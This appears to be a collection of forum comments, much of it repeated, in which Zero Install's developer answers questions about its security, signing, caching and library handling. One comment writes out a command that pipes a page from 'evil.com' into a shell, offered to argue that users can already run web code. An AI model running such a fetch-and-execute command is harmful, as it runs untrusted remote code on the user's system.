The interface is correctly signed with the following keys:
- Valid signature from 92429807C9853C0744A68B9AAE07828059A53CC1
Do you want to trust all of these keys to sign interfaces?
Not unless you're prepared to ask me this question every time you download and run anything off the net.
Why? If the key owner is a responsible software developer today, they're unlikely to turn into a script kiddie overnight. And if they're already malicious, then they get to overwrite your trust setting as soon as their program executes anyway.
(note that you'll still have to click on the Execute button before running an updated copy of this program, or any other program written by this author, and you can choose whether it will check for new versions automatically)
What is the threat you're trying to protect against? Something like this?
I run gimp.org/gimp.
I agree I trust the gimp developers.
I click on the upgrade button to get a new copy.
I'm asked to confirm the key a second time, and this time I decide I no longer trust that developer.
This doesn't seem to be a likely source of attack. I'd rather only be alerted when I need to trust a new key, or I'll just get used to clicking on accept.
Not having a Linux box to test it on, I have to go by their documentation, and it sounds like they're embedding their launcher into the Konqueror engine.
It's just executable files appearing in the file system, so anything that can run executables can use it (konquerer, shell, etc). I can see why konqueror would be confusing, since it is both a file manager and a web browser.
The example screenshots show ROX-Filer being used, which isn't also a web browser, so it's a bit clearer in that case.
"But, as far as I can tell from that website, Zero Install makes running that software from the web a transparent operation that is almost indistinguishable from running that same software after someone has explicitly and deliberately downloaded and installed it."
Yes, you wouldn't want users to run software thinking they were just following a link in a web page. I've just tried it in firefox, and it just shows the contents of an executable shell script rather than running it.
Incidentally, the injector (next version) does ask users to confirm that they trust the GPG key of a software author before allowing them to run the software: the injector.
"I've only got dial-up; won't Zero Install be too slow?
No. Because Zero Install only downloads the parts of the software that you actually use, you'll typically download much less this way. For example, if you don't read the manual for version 2.1.2 of the filer, or use the french translation, then they will never be fetched. If you download traditional tarballs, debian packages or RPMs, then you end up downloading a lot more stuff you'll never use.
For reference, running ROX-Filer for the first time though Zero Install took 1m48s when the internet connection was an irDA link to a mobile phone connected via GPRS (download speed approx 2.5 Kbytes/sec). If you use a normal modem it will be faster than this, and broadband will be faster again, of course."
Users run their applications directly from the Internet from the software author's pages.
Through a web interface?
No. With their application launcher.
and since it doesn't run any of the remote code as root, you can try software out safely as a 'guest' user.
All that means is "now all your local root exploits are remote root exploits".
By that logic, we should all run everything as root all the time, since any local expoilt makes the root/user separation irrelevant. Use whatever amount of sandboxing you feel comfortable with (Linux root/user, user-mode-linux, VMWare, Java sandbox, etc).
"This step... using a program (the file manager) whose security is based around managing local and generally trusted files...
Local files aren't 'generally trusted' (at least, not on multi-user system like Linux). And filemanagers are routinely used to access NFS directories and shares on other computers.
However, the key point to remember is this:
Any user can already run any software from the web. Zero Install just provides a way to share it securely between users (so that if two users run the same software, it only gets downloaded once).
As Thomas found out, dependencies are kind of a tricky problem with appfolders. His solution was ZeroInstall, a very nice piece of work I must say. However it had issues, as software often does, and now he is designing something called the "Injector". This has quite a few concepts similar to autopackage, namely management of interfaces and dependencies. So in the process of "fixing" appfolders to have all the features people wanted, he ended up with something that vaguely resembles systems like autopackage and apt-get. Note: that doesn't mean to imply that the Injector is useless or anything, it's not and has some good ideas. I encourage people to check it out!
Thanks for the plug;-) By far the biggest problem with
Zero Install is
simply that it requires a virtual filesystem, and POSIX doesn't provide
a way to do this, so we have a Linux-only kernel module. And Linux has a really
unstable module API, so we can't ship binaries, which makes it hard to install
the system in the first place. But this is not a theoretical problem with app
dirs, just a limitation of Linux.
For both Zero Install and the
injector, the situation I want to support is:
Multiple users.
Sys admin doesn't trust users with root permission.
Users don't trust each other.
Two users want to run the same software. This must be efficient.
Current systems make you choose either:
Inefficient (two copies downloaded and installed), or
Insecure (second user must trust first user to get and install a good
copy).
1. They didn't try to push their way of packaging applications on you which IMHO is the WRONG way.
2. It was easier to change the themes/colors of things. I know its nit-picky but I didn't really care for the way it looks and I couldn't figure out how to make it different.
For the toolkit, select a GTK theme as normal. For the window manager themes, click on Apps, then on Configure, then on Themes. Click on the preview of the theme you want. If it's not already on your computer, it will be downloaded and cached automatically.
Unless you're not using zero install, in which case, you can download the themes tarball, extract it somewhere (maybe enter the root password and copy it to somewhere other uses can find it), etc, or whatever your 'right' way of packaging things requires you to do to install things.
"Isn't there also the "D" programming language, which as far as I know, has many of the advantages of Java and C# (does not use unsafe pointers by default for instance) but has the advantage of producing proper compiled code."
D makes it a lot easier to avoid unsafe code. It has garbage collection (no more double-frees), exceptions (no more failing to check return codes), inheritance (less dodgy casting), bounded arrays (including strings) to stop buffer overflows, etc. It also removes one of the nasty 'features' of C that makes static checking harder than it needs to be: the preprocessor.
Unfortunately, very few people have a D compiler available, so anyone writing D code can expect lots of complaints from users who will have trouble compiling it.
"SPF is doing the wrong job, and not doing it well. What's to keep a zombie from querying DNS to find the correct mail server for its domain and forging the headers to reflect that? Nothing."
Receiving mail is done over a TCP connection, which is two-way. You can't forge the from IP address, because the server's replies will go there, not to you.
Eg:
Spammer -> Server: Hi, I'd like to send some mail. I'm from example.com. Server -> example.com: OK, go ahead. example.com: What?
There was a popular theory within the press when XHTML was first introduced that XML would supplant webpages and drag the web back to that primordial point when HTML was intended as a content markup language, not a display language, and even go beyond that. [...] Well, I think it's safe to say that idea's been mostly shelved for the time being. This isn't a matter of a lack of "reaching potential", it's a matter of total failure to move in that direction. XML has been incredibly popular as a storage mechanism but has had roughly zero takeup as a communication mechanism.
Serving up pure-content XML documents and using XSLT stylesheets to display them won't work on older browsers. It'll take a few years before the new browsers get enough share that it's worth designing such pages.
Basically, the advantages to switching to pure XML at the moment are rather small compared to the number of users who won't be able to view the site anymore. Over time, that will change.
[ use old/usr/lib if available, for mixed zero-install/traditional systems ]
I think it's possible to use even more advanced linker tricks than relaytool to fix that problem, by allowing MacOS X style library "swallowing" where the swallowed library is sucked into the executable binary itself and used only if the system library is not present, otherwise the highest version takes priority. But, this is still theoretical and would need more R&D which I don't have time to do currently.
Actually, there's a very simple solution for ELF libraries: you can add directories to the library search path in the ELF header.
That is, instead of linking to/uri/0install/gtk.org/libgtk.so, you link to libgtk.so (as usual), and add/uri/0install/gtk.org to the library search path in the header. Presumably you can change the order of the listed directories to decide which version gets used in preference (local or zero install) if both are available.
Sure, like I said it's possible to use cute hacks in certain circumstances. Now make that automatic for the 40-50 ELF libraries typical modern desktop apps use.
Well, you're the linker expert, but can't something like your relaytool do that automatically?
Assuming this is the behaviour you want; it doesn't do much harm to always use the zero install version and phase out use of the old libraries, at least for smaller ones like expat. Using local libraries is a small efficiency gain when running on legacy systems; it's not the end of the world if it doesn't work.
For file associations, I'm talking about "run random 3rd party app, save a file, click the file". How does the desktop know to link that file type to the program just run?
Presumably, the application added the association when it was run. If it can do it at install time, it can do it at run time.
The problem with zero install is that it's not backwards compatible enough. There's no easy way for a zero install app to use the Python on your system but fall back to a zero-install build on the net if that's not present. It can be done but it's really non-trivial.
This runs 'prog.py' using the local version of python if available, or using 0install if not (assuming python was available there).
Default file associations are very easy. Try running ROX-Session through Zero Install, then click on an archive. It will decompress with Archive. Click a text file, and it will open in Edit.
With Zero Install, the desktop provider links *every* association they want by default, and the actual applications are fecthed as needed; no need to intersect the distribution choices with the set of installed packages.
First, there is the fact that it's easier to check the permissions on all programs that should be SUID/SGID. If you just have them all in/bin, you won't notice if one is no longer SUID/SGID (by accident, by software upgrade, by anything), nor are you likely to notice if a program is executable by users when it shouldn't be.
Depends how it got there. If it was by extracting an archive, all SUID bits should be cleared by the extractor. Personally, I prefer to use sudo to track all extra privs in one place, and keep all executables on a nosuid partition (/uri/0install is always mounted nosuid, for example).
However, the comment you replied to was "Q: Why aren't user and superuser programs seperate?". Your reply is about one-directory-per-program, not about the separation between/bin and/sbin.
What would be good is binary sandboxing on system level.
Exactly. JWS is Java-only, while much Linux software is written in C, Python, etc. Combine Zero Install with Linux-level sandboxing and you have the same thing, but faster and language-neutral.
Yes, users can do that. But why would they? The issue isn't about what location they choose to get code from to run, but rather, what location the code does come from when they run it thinking it's just something local.
In Zero Install, it's the same thing. When you want to run gimp, you include the site name, just as you do if you want to view the gimp's web site.
Of course, you can make a shortcut to it (drag it from gimp.org to your panel), just as you can make a bookmark to a web site.
But just typing 'gimp' won't magically decide to run something from gimp.org without you (or the sysadmin) setting that alias up first.
I can't really see any benefit to caching packages. If you want to cache packages why not just use Squid and set wget to use a proxy?
Because it's much slower than Zero Install's caching (each time you pull in a library you have to open a connection to squid and copy the library with an HTTP GET). Also, the memory wouldn't be shared, because Linux would treat each fetched library as a new copy.
Zero Install is just a much more efficient implementation of the same thing.
Wouldn't something like apt-get be easier than clicking and dragging, if a non root user running it, the packages were installed to their own home directory.. safe from destroying the system and no password required.
Well, Zero Install is also safe from destroying the system and no password required... but with the added benefit that all users shared the same cache (no duplicates) and the packages don't have to worry about whether a library they use is in ~/.local/lib or/usr/lib, etc.
If all code runs as you, and is installed so that you as a user can delete/create/copy/overwrite programs,[...]
It isn't installed user-writeable. Zero Install works like a web-cache (but more persistant). If you cause something to become cached, it is owned by zero-install, not by you. If you copy from the cache to your home directory, then you can do whatever you like with it.
If you ask Zero Install to uncache something it may do it, but the next time someone requests it it gets fetched from the original web-site again.
What would be needed for security is to make sure that only authorized locations[...] I would never be able to suggest to management to use a system like this unless and until I can thoroughly vet this system for security.
Quick question: can your users do this?
lynx -source http://evil.com | sh -
If that works, Zero Install doesn't damage your security at all (users can already run any code from any web server in the world, although the caching may be less efficient).
If it doesn't, I guess you've got HTTP filters installed. They'll also stop Zero Install from downloading too (it also uses HTTP).
If just running an application can send it stalking over the Internet downloading and installing libraries, what happens to security? Or is this automatic install only for objects on the LAN repository?
System security? Nothing. All code runs as you.
As for your own security, it doesn't allow any attack that couldn't have been done without Zero Install too.
Reducing the security risk from traditional installation systems (APT, RPM, etc where you're running a downloaded install script as root) was
an important goal for Zero Install.
But one thing I wonder about Zero Install: what if you launch an application, it needs a piece that you don't have cached, and the server hosting it is down? Is it possible for a maintainer to unpublish an application?
Zero Install can download from mirrors, peer-to-peer, etc, provided it gets the master index with the GPG signature from the main server.
If you want to get the master index from a backup server, you need manual intervention (root needs to indicate that the backup server can be trusted).
However, since the signature part is small (about 1K), a single trusted backup site (debian.org?) could easily host every index in the world. The rest of the data can come through peer-to-peer, etc.
As I understand it, once you have completed your steps 1 through 3 above, in one directory you have everything (including *all* libraries) you need to run Edit without further downloads.
You have two directories, Edit and ROX-Lib, both in the cache:
Slashdot Mirror
Not unless you're prepared to ask me this question every time you download and run anything off the net.
Why? If the key owner is a responsible software developer today, they're unlikely to turn into a script kiddie overnight. And if they're already malicious, then they get to overwrite your trust setting as soon as their program executes anyway.
(note that you'll still have to click on the Execute button before running an updated copy of this program, or any other program written by this author, and you can choose whether it will check for new versions automatically)
What is the threat you're trying to protect against? Something like this?
This doesn't seem to be a likely source of attack. I'd rather only be alerted when I need to trust a new key, or I'll just get used to clicking on accept.
It's just executable files appearing in the file system, so anything that can run executables can use it (konquerer, shell, etc). I can see why konqueror would be confusing, since it is both a file manager and a web browser.
The example screenshots show ROX-Filer being used, which isn't also a web browser, so it's a bit clearer in that case.
"But, as far as I can tell from that website, Zero Install makes running that software from the web a transparent operation that is almost indistinguishable from running that same software after someone has explicitly and deliberately downloaded and installed it."
Yes, you wouldn't want users to run software thinking they were just following a link in a web page. I've just tried it in firefox, and it just shows the contents of an executable shell script rather than running it.
Incidentally, the injector (next version) does ask users to confirm that they trust the GPG key of a software author before allowing them to run the software: the injector.
From the ROX site:
"I've only got dial-up; won't Zero Install be too slow?
No. Because Zero Install only downloads the parts of the software that you actually use, you'll typically download much less this way. For example, if you don't read the manual for version 2.1.2 of the filer, or use the french translation, then they will never be fetched. If you download traditional tarballs, debian packages or RPMs, then you end up downloading a lot more stuff you'll never use.
For reference, running ROX-Filer for the first time though Zero Install took 1m48s when the internet connection was an irDA link to a mobile phone connected via GPRS (download speed approx 2.5 Kbytes/sec). If you use a normal modem it will be faster than this, and broadband will be faster again, of course."
Through a web interface?
No. With their application launcher.
and since it doesn't run any of the remote code as root, you can try software out safely as a 'guest' user.
All that means is "now all your local root exploits are remote root exploits".
By that logic, we should all run everything as root all the time, since any local expoilt makes the root/user separation irrelevant. Use whatever amount of sandboxing you feel comfortable with (Linux root/user, user-mode-linux, VMWare, Java sandbox, etc).
"This step... using a program (the file manager) whose security is based around managing local and generally trusted files...
Local files aren't 'generally trusted' (at least, not on multi-user system like Linux). And filemanagers are routinely used to access NFS directories and shares on other computers.
However, the key point to remember is this:
Any user can already run any software from the web. Zero Install just provides a way to share it securely between users (so that if two users run the same software, it only gets downloaded once).
Thanks for the plug ;-) By far the biggest problem with
Zero Install is
simply that it requires a virtual filesystem, and POSIX doesn't provide
a way to do this, so we have a Linux-only kernel module. And Linux has a really
unstable module API, so we can't ship binaries, which makes it hard to install
the system in the first place. But this is not a theoretical problem with app
dirs, just a limitation of Linux.
For both Zero Install and the injector, the situation I want to support is:
Current systems make you choose either:
Readers might like to see the full discussion.
1. They didn't try to push their way of packaging applications on you which IMHO is the WRONG way.
2. It was easier to change the themes/colors of things. I know its nit-picky but I didn't really care for the way it looks and I couldn't figure out how to make it different.
See how to customise the look of your desktop
For the toolkit, select a GTK theme as normal. For the window manager themes, click on Apps, then on Configure, then on Themes. Click on the preview of the theme you want. If it's not already on your computer, it will be downloaded and cached automatically.
Unless you're not using zero install, in which case, you can download the themes tarball, extract it somewhere (maybe enter the root password and copy it to somewhere other uses can find it), etc, or whatever your 'right' way of packaging things requires you to do to install things.
D makes it a lot easier to avoid unsafe code. It has garbage collection (no more double-frees), exceptions (no more failing to check return codes), inheritance (less dodgy casting), bounded arrays (including strings) to stop buffer overflows, etc. It also removes one of the nasty 'features' of C that makes static checking harder than it needs to be: the preprocessor.
Unfortunately, very few people have a D compiler available, so anyone writing D code can expect lots of complaints from users who will have trouble compiling it.
Better link:
0install.net
(yes, ROX is using Zero Install, but they're separate projects)
Receiving mail is done over a TCP connection, which is two-way. You can't forge the from IP address, because the server's replies will go there, not to you.
Eg:
See freedesktop's basedir spec. Being from freedesktop, it's likely to see wide-spread adoption (hopefully soon including the LSB).
Serving up pure-content XML documents and using XSLT stylesheets to display them won't work on older browsers. It'll take a few years before the new browsers get enough share that it's worth designing such pages.
Basically, the advantages to switching to pure XML at the moment are rather small compared to the number of users who won't be able to view the site anymore. Over time, that will change.
I think it's possible to use even more advanced linker tricks than relaytool to fix that problem, by allowing MacOS X style library "swallowing" where the swallowed library is sucked into the executable binary itself and used only if the system library is not present, otherwise the highest version takes priority. But, this is still theoretical and would need more R&D which I don't have time to do currently.
Actually, there's a very simple solution for ELF libraries: you can add directories to the library search path in the ELF header.
That is, instead of linking to /uri/0install/gtk.org/libgtk.so, you link to libgtk.so (as usual), and add /uri/0install/gtk.org to the library search path in the header. Presumably you can change the order of the listed directories to decide which version gets used in preference (local or zero install) if both are available.
Well, you're the linker expert, but can't something like your relaytool do that automatically? Assuming this is the behaviour you want; it doesn't do much harm to always use the zero install version and phase out use of the old libraries, at least for smaller ones like expat. Using local libraries is a small efficiency gain when running on legacy systems; it's not the end of the world if it doesn't work.
For file associations, I'm talking about "run random 3rd party app, save a file, click the file". How does the desktop know to link that file type to the program just run?
Presumably, the application added the association when it was run. If it can do it at install time, it can do it at run time.
#!/bin/sh
[ -x `which python` ] && exec python prog.py "$@"
exec 0run "python.org/python 2004-01-01" prog.py "$@"
This runs 'prog.py' using the local version of python if available, or using 0install if not (assuming python was available there).
Default file associations are very easy. Try running ROX-Session through Zero Install, then click on an archive. It will decompress with Archive. Click a text file, and it will open in Edit.
With Zero Install, the desktop provider links *every* association they want by default, and the actual applications are fecthed as needed; no need to intersect the distribution choices with the set of installed packages.
Depends how it got there. If it was by extracting an archive, all SUID bits should be cleared by the extractor. Personally, I prefer to use sudo to track all extra privs in one place, and keep all executables on a nosuid partition (/uri/0install is always mounted nosuid, for example).
However, the comment you replied to was "Q: Why aren't user and superuser programs seperate?". Your reply is about one-directory-per-program, not about the separation between /bin and /sbin.
What would be good is binary sandboxing on system level.
Exactly. JWS is Java-only, while much Linux software is written in C, Python, etc. Combine Zero Install with Linux-level sandboxing and you have the same thing, but faster and language-neutral.
Yes, users can do that. But why would they? The issue isn't about what location they choose to get code from to run, but rather, what location the code does come from when they run it thinking it's just something local.
In Zero Install, it's the same thing. When you want to run gimp, you include the site name, just as you do if you want to view the gimp's web site.
Of course, you can make a shortcut to it (drag it from gimp.org to your panel), just as you can make a bookmark to a web site.
But just typing 'gimp' won't magically decide to run something from gimp.org without you (or the sysadmin) setting that alias up first.
Have you tried Zero Install? If you had that, you'd be able to try out new programs easily without waiting for Debian to package them ;-)
(as the other poster noted, there are also ROX Debs available if you prefer that method)
Because it's much slower than Zero Install's caching (each time you pull in a library you have to open a connection to squid and copy the library with an HTTP GET). Also, the memory wouldn't be shared, because Linux would treat each fetched library as a new copy.
Zero Install is just a much more efficient implementation of the same thing.
Wouldn't something like apt-get be easier than clicking and dragging, if a non root user running it, the packages were installed to their own home directory.. safe from destroying the system and no password required.
Well, Zero Install is also safe from destroying the system and no password required... but with the added benefit that all users shared the same cache (no duplicates) and the packages don't have to worry about whether a library they use is in ~/.local/lib or /usr/lib, etc.
It isn't installed user-writeable. Zero Install works like a web-cache (but more persistant). If you cause something to become cached, it is owned by zero-install, not by you. If you copy from the cache to your home directory, then you can do whatever you like with it.
If you ask Zero Install to uncache something it may do it, but the next time someone requests it it gets fetched from the original web-site again.
Quick question: can your users do this?
If that works, Zero Install doesn't damage your security at all (users can already run any code from any web server in the world, although the caching may be less efficient).
If it doesn't, I guess you've got HTTP filters installed. They'll also stop Zero Install from downloading too (it also uses HTTP).
Will it run on Slackware?
Should do.
And, of course, it's mainly used for distributing Java apps :-)
Zero Install uses HTTP too (any web server will do if you want to provide Zero Install software).
See the Documentation for packagers for a step-by-step guide.
System security? Nothing. All code runs as you. As for your own security, it doesn't allow any attack that couldn't have been done without Zero Install too.
Reducing the security risk from traditional installation systems (APT, RPM, etc where you're running a downloaded install script as root) was an important goal for Zero Install.
See The Zero Install system
Zero Install can download from mirrors, peer-to-peer, etc, provided it gets the master index with the GPG signature from the main server.
If you want to get the master index from a backup server, you need manual intervention (root needs to indicate that the backup server can be trusted).
However, since the signature part is small (about 1K), a single trusted backup site (debian.org?) could easily host every index in the world. The rest of the data can come through peer-to-peer, etc.
You have two directories, Edit and ROX-Lib, both in the cache:
Both contain their own code, but when Edit is run, it will also access code from ROX-Lib.